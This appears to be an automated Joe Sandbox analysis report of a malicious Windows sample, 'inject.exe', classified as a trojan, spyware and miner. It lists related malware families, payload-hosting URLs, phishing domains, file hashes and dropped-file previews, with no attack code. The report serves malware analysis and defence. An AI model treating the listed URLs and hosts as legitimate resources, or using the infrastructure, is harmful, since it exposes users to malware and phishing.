Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522107
Start date and time:	2024-09-29 09:43:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	inject.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@56/47@3/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 255 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 104.26.12.31, 172.67.75.172, 104.26.13.31
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: inject.exe

Simulations

Behavior and APIs

Time	Type	Description
03:44:09	API Interceptor	56x Sleep call for process: RegAsm.exe modified
03:44:20	API Interceptor	1x Sleep call for process: Installer.exe modified
03:44:22	API Interceptor	11x Sleep call for process: powershell.exe modified
03:44:26	API Interceptor	1x Sleep call for process: RegSvcs.exe modified
09:44:25	Task Scheduler	Run new task: dllhost path: C:\ProgramData\Dllhost\dllhost.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.3.235	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
	SX8OLQP63C.exe	Get hash	malicious	VjW0rm, AsyncRAT, RATDispenser	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice-883973938.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	2024 12_59_31 a.m..js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
185.215.113.22	eX52te2rsl.exe	Get hash	malicious	Vidar	Browse	185.215.113.22/E2vacMBpWA.php
	Tm7nvymUzB.exe	Get hash	malicious	Vidar	Browse	185.215.113.22/E2vacMBpWA.php
	28KnqbCVcB.exe	Get hash	malicious	Raccoon RedLine SmokeLoader Vidar	Browse	185.215.113.22/456.exe
	CbdcLsdlhu.exe	Get hash	malicious	Raccoon SmokeLoader Vidar	Browse	185.215.113.22/456.exe
	v7LP0imI30.exe	Get hash	malicious	MicroClip	Browse	185.215.113.22/456.exe
	YZTyglLign.exe	Get hash	malicious	MicroClip Raccoon RedLine SmokeLoader Vidar	Browse	185.215.113.22/456.exe
188.114.97.3	http://meta.case-page-appeal.eu/community-standard/208273899187123/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/mfctuvFf/download
	http://brawllstars.ru/	Get hash	malicious	HTMLPhisher	Browse	brawllstars.ru/
	http://aktiivasi-paylaterr.from-resmi.com/	Get hash	malicious	Unknown	Browse	aktiivasi-paylaterr.from-resmi.com/
	ECChG5eWfZ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	homker11.uebki.one/GeneratorTest.php
	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?XtEdZRAP=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4J3RpZHG8N5&8p=DXgPYZ
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Ky4pZ0WB/download
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.1win-moldovia.fun/1g7m/
	http://www.tiktok758.com/	Get hash	malicious	Unknown	Browse	www.tiktok758.com/img/logo.4c830710.svg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	q71n2VrEY3.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	lvHIHLt0b2.exe	Get hash	malicious	DCRat	Browse	104.20.3.235
	SecuriteInfo.com.Win32.MalwareX-gen.27131.14737.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	envifa.vbs	Get hash	malicious	Unknown	Browse	172.67.19.24
	SecuriteInfo.com.Win32.MalwareX-gen.14926.30373.exe	Get hash	malicious	MicroClip	Browse	104.20.4.235
	AS5AB7c08n.exe	Get hash	malicious	MicroClip	Browse	172.67.19.24
	test.bat	Get hash	malicious	MicroClip	Browse	104.20.4.235
	Oficio notificacion multas y sanciones.vbs	Get hash	malicious	Njrat	Browse	104.20.4.235
	sostener.vbs	Get hash	malicious	Njrat	Browse	104.20.3.235
	bF9JDHS47l.vbs	Get hash	malicious	Remcos	Browse	172.67.19.24
joxi.net	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	7aHn0kxDWZ.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3
	BlazeHack.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse	188.114.97.3
	CKHSihDX4S.exe	Get hash	malicious	RedLine, Xmrig	Browse	188.114.97.3
	XXZahG4d9Z.exe	Get hash	malicious	RedLine, Xmrig	Browse	188.114.97.3
	n6o0pd9pZC.exe	Get hash	malicious	Xmrig	Browse	188.114.96.3
	[V2]launcher.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse	104.21.73.118
	Software_1.30.1.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig	Browse	104.21.73.118

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.73.223
	https://tny.im/JrUMp/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://dropbox439849243239272-272774326645823932930000327.pages.dev/098989898	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://fitur-dana-terbaru-2024.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://62f18194-01d0-459e-a945-4bad417cd3e1-00-2qivtb2vbf734.worf.replit.dev/	Get hash	malicious	Unknown	Browse	104.18.35.46
	https://c1b99480-8a61-4c60-bc2e-0c2721da2d22-00-17rux3rshyuau.kirk.replit.dev/	Get hash	malicious	Unknown	Browse	104.18.35.46
	http://bankofamerica-secure-login.framer.ai/	Get hash	malicious	Unknown	Browse	104.18.86.42
	http://www.telegram-korea.com/	Get hash	malicious	Unknown	Browse	104.21.80.160
	http://microsoft.biosency.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://attofficialvalidation.weebly.com/	Get hash	malicious	Unknown	Browse	104.18.11.213
FREE-NET-ASFREEnetEU	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	MW3 Phoenix Legacy.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.47.64
	https://steamcommninty.com/gift/activation/id=5947221648	Get hash	malicious	Unknown	Browse	147.45.47.40
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, PrivateLoader, Socks5Systemz	Browse	147.45.60.44
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	147.45.60.44
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	147.45.44.104
	setup.exe	Get hash	malicious	RisePro Stealer	Browse	193.233.132.253
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	147.45.44.104
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.73.223
	https://tny.im/JrUMp/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://dropbox439849243239272-272774326645823932930000327.pages.dev/098989898	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	http://fitur-dana-terbaru-2024.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://62f18194-01d0-459e-a945-4bad417cd3e1-00-2qivtb2vbf734.worf.replit.dev/	Get hash	malicious	Unknown	Browse	104.18.35.46
	https://c1b99480-8a61-4c60-bc2e-0c2721da2d22-00-17rux3rshyuau.kirk.replit.dev/	Get hash	malicious	Unknown	Browse	104.18.35.46
	http://bankofamerica-secure-login.framer.ai/	Get hash	malicious	Unknown	Browse	104.18.86.42
	http://www.telegram-korea.com/	Get hash	malicious	Unknown	Browse	104.21.80.160
	http://microsoft.biosency.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://attofficialvalidation.weebly.com/	Get hash	malicious	Unknown	Browse	104.18.11.213
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://tny.im/JrUMp/	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235
	https://c1b99480-8a61-4c60-bc2e-0c2721da2d22-00-17rux3rshyuau.kirk.replit.dev/	Get hash	malicious	Unknown	Browse	104.20.3.235
	http://microsoft.biosency.com/	Get hash	malicious	Unknown	Browse	104.20.3.235
	http://geimuinislonggu.gitbook.io/	Get hash	malicious	Unknown	Browse	104.20.3.235
	https://mailsecurityref.weebly.com/	Get hash	malicious	Unknown	Browse	104.20.3.235
	https://logg_koonbase.godaddysites.com/	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235
	https://coinnbaeeprologin.gitbook.io/us	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235
	https://phanom-wlie.gitbook.io/us	Get hash	malicious	Unknown	Browse	104.20.3.235
	https://pub-8808e94b1a5c49dbb2a2e0829ec1562b.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235
	https://basepro-login.gitbook.io/login	Get hash	malicious	HTMLPhisher	Browse	104.20.3.235

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\main\7z.exe	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	7aHn0kxDWZ.exe	Get hash	malicious	Xmrig	Browse
	BlazeHack.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse
	CKHSihDX4S.exe	Get hash	malicious	RedLine, Xmrig	Browse
	XXZahG4d9Z.exe	Get hash	malicious	RedLine, Xmrig	Browse
	vD4M7DL9MY.exe	Get hash	malicious	DCRat	Browse
	n6o0pd9pZC.exe	Get hash	malicious	Xmrig	Browse
	lfjG1UlwP1.exe	Get hash	malicious	LummaC, Xmrig	Browse
C:\Users\user\AppData\Local\Temp\main\7z.dll	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	7aHn0kxDWZ.exe	Get hash	malicious	Xmrig	Browse
	BlazeHack.exe	Get hash	malicious	PureLog Stealer, RedLine, Xmrig	Browse
	CKHSihDX4S.exe	Get hash	malicious	RedLine, Xmrig	Browse
	XXZahG4d9Z.exe	Get hash	malicious	RedLine, Xmrig	Browse
	vD4M7DL9MY.exe	Get hash	malicious	DCRat	Browse
	n6o0pd9pZC.exe	Get hash	malicious	Xmrig	Browse
	lfjG1UlwP1.exe	Get hash	malicious	LummaC, Xmrig	Browse

Created / dropped Files

C:\ProgramData\HostData\logs.uce

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	729
Entropy (8bit):	5.11212271596743
Encrypted:	false
SSDEEP:	12:8G/y8vM/jwKdt//j/K3AEN6Qclfw/1127UwLnjDTwDMVFAi:8G/y8wj5djUNso/XUnLnjD0DMnAi
MD5:	ADE6854A8351E50758F93066F547C188
SHA1:	771278CB4FC00BDC54B95C2FE43C839F9D59FD6C
SHA-256:	FAA5DA36E19D42EA123A6765D50E6B27794DB08342850D1E36695332F8E47BC0
SHA-512:	3202F608789CAD4E8485B06344EACFE9AD48B197A4FAD94C9F15CAC07C7322BDB838F61F82955DA7C136952D61922E47E8CA4FB77CCBC7B47953D9943069C724
Malicious:	false
Preview:	[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->.. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->..<head>..<title>Suspected phishing site \| Cloudflare</title>..<meta charset="UTF-8" />..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />..<meta http-equiv="X-UA-Compatible" content="IE=Edge" />..<meta name="robots" content="noindex, nofollow" />..<meta name="viewport" content="width=device-width,initial-scale=1" />..<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />.. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->..cp..https://pastebin.com/raw/dq3hWX27..

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 13:16:56 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.451533645956416
Encrypted:	false
SSDEEP:	48:8SYl2dfTXdARYrnvPdAKRkdAGdAKRFdAKRE:8SYlO7
MD5:	0D8FB55493065445F8D3B04A69EF6668
SHA1:	75CE897423226162720A6E40D5E60FFD5A7D130A
SHA-256:	5961BBF3754AED5E410DD5E5584D7F64A25F58BBCFE14597F2250AAE160F6FA3
SHA-512:	4A3C0374A039BF8D50BBD1A4A73DA9BED6E17235C2E65068D4C16B42EC69B85993CE07C3A861236555D45D6CFA42384A65FCB8819F235165C1252B93D86AD550
Malicious:	false
Preview:	L..................F.@.. ......,...."RZn.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IDW.r....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWUl....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWUl....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWUl..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDW.r..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlqY
MD5:	0B2E58EF6402AD69025B36C36D16B67F
SHA1:	5ECC642327EF5E6A54B7918A4BD7B46A512BF926
SHA-256:	4B0FB8EECEAD6C835CED9E06F47D9021C2BCDB196F2D60A96FEE09391752C2D7
SHA-512:	1464106CEC5E264F8CEA7B7FF03C887DA5192A976FBC9369FC60A480A7B9DB0ED1956EFCE6FFAD2E40A790BD51FD27BB037256964BC7B4B2DA6D4D5C6B267FA1
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\inject.exe.log

Download File

Process:	C:\Users\user\Desktop\inject.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379736180876081
Encrypted:	false
SSDEEP:	48:tWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//ZeUyus:tLHyIFKL3IZ2KRH9Ougos
MD5:	9D384A9EBEABB083763926A2E63505A6
SHA1:	3AB2DD8F7518A36D7E22EFD76FF25F3DFA25D889
SHA-256:	801BC488523F40135A2F58EE86844AD3AFD2EFD0AF5DD0F7DE40978E7EDE92DD
SHA-512:	03941519E7F748E7A151CDEFC2E6D98A19B2E077AB09C48822B3882D8BA39C8427A9766C26B3F28DB419385FD7F030C3A7D5FE5ADE4F796AE876921042F5FED9
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\TmpCC60.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpCC71.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2exzszdm.jil.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c3ymzcqd.lbz.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uvmtdbdz.xlv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
